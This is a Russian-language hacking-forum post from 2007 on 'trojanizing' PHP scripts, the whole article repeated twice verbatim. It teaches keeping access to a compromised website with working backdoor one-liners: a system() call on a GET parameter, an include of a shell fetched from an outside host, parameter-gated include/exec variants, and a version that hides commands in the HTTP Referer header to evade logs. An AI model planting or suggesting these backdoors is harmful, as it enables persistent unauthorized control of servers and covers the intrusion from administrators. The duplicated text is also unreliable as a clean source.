Goudini
09.01.2007, 18:29
Троянизация скриптов
В этой статье будут описаны методы троянизациии серверных скриптов, написанных на PHP.
=========
Вариант 1
=========
Началось всё с того что получив шелл на сайте, я захотел как-то закрепиться и добавил в
index.php код такого содержания
<?php system($_GET["cmd"]) ?>
Вскоре полноценный шелл был удалён, остался только указанный выше.
Я попробовал залить полноценный, но оказалось что на серваке нет ни wget, curl, etc....
=========
Вариант 2
=========
Тогда почему же не индклудить шелл каждый раз при загрузке страници
<?php include("http://gaga.phpnet.us/shell.txt"); ?>
Лучше инклудить шелл, только при определенный параметрах. Сделаем более интерактивнее :
<?php if(@$_GET["hack"] == "yes") include($_GET['file']); ?>
При переходе по адресу, указанному ниже мы получим удаллённый шелл
http://[сайт]/index.php?hack=yes&file=[шелл]
=========
Вариант 3
=========
А что если мы протроянили скрипты таким способом, а на сервере allow_url_fopen = Off;
Тогда используем такую конструкцию :
<?php if(ini_get('allow_url_fopen')) include ($_GET["file"]); else system($_GET["cmd"]); ?>
У нас есть и удаленный шелл, и командная строка. Можно ещё проверить разрешены ли функции
exec(), system(), passthru(), но это увеличит размер.
Добавим авторизацию:
<?php if(@$_GET["hack"] == "yes") if(ini_get('allow_url_fopen')) include ($_GET["file"]); else system($_GET["cmd"]); ?>
=========
Вариант 4
=========
В приведенных выше примерах данные передаються через адресную строку браузера.
Чтобы в логах не было видно всех параметров, изменим немного исходники
<?php if(ini_get('allow_url_fopen')) include ($_SERVER["HTTP_REFERER"]); else system($_SERVER["HTTP_REFERER"]); ?>
В реферере, в зависимости от настроек php.ini, будет адрес шелла, или системная команда.
=========
Заключение
=========
Для изменения заголовков на лету можно использовать програму HTTPSubstitute от Zadoxlik'a
http://forum.antichat.ru/thread23569.html
Примеры скрытия Php кода опсаны в статье Great'a
http://forum.antichat.ru/thread28246.html
В этой статье будут описаны методы троянизациии серверных скриптов, написанных на PHP.
=========
Вариант 1
=========
Началось всё с того что получив шелл на сайте, я захотел как-то закрепиться и добавил в
index.php код такого содержания
<?php system($_GET["cmd"]) ?>
Вскоре полноценный шелл был удалён, остался только указанный выше.
Я попробовал залить полноценный, но оказалось что на серваке нет ни wget, curl, etc....
=========
Вариант 2
=========
Тогда почему же не индклудить шелл каждый раз при загрузке страници
<?php include("http://gaga.phpnet.us/shell.txt"); ?>
Лучше инклудить шелл, только при определенный параметрах. Сделаем более интерактивнее :
<?php if(@$_GET["hack"] == "yes") include($_GET['file']); ?>
При переходе по адресу, указанному ниже мы получим удаллённый шелл
http://[сайт]/index.php?hack=yes&file=[шелл]
=========
Вариант 3
=========
А что если мы протроянили скрипты таким способом, а на сервере allow_url_fopen = Off;
Тогда используем такую конструкцию :
<?php if(ini_get('allow_url_fopen')) include ($_GET["file"]); else system($_GET["cmd"]); ?>
У нас есть и удаленный шелл, и командная строка. Можно ещё проверить разрешены ли функции
exec(), system(), passthru(), но это увеличит размер.
Добавим авторизацию:
<?php if(@$_GET["hack"] == "yes") if(ini_get('allow_url_fopen')) include ($_GET["file"]); else system($_GET["cmd"]); ?>
=========
Вариант 4
=========
В приведенных выше примерах данные передаються через адресную строку браузера.
Чтобы в логах не было видно всех параметров, изменим немного исходники
<?php if(ini_get('allow_url_fopen')) include ($_SERVER["HTTP_REFERER"]); else system($_SERVER["HTTP_REFERER"]); ?>
В реферере, в зависимости от настроек php.ini, будет адрес шелла, или системная команда.
=========
Заключение
=========
Для изменения заголовков на лету можно использовать програму HTTPSubstitute от Zadoxlik'a
http://forum.antichat.ru/thread23569.html
Примеры скрытия Php кода опсаны в статье Great'a
http://forum.antichat.ru/thread28246.html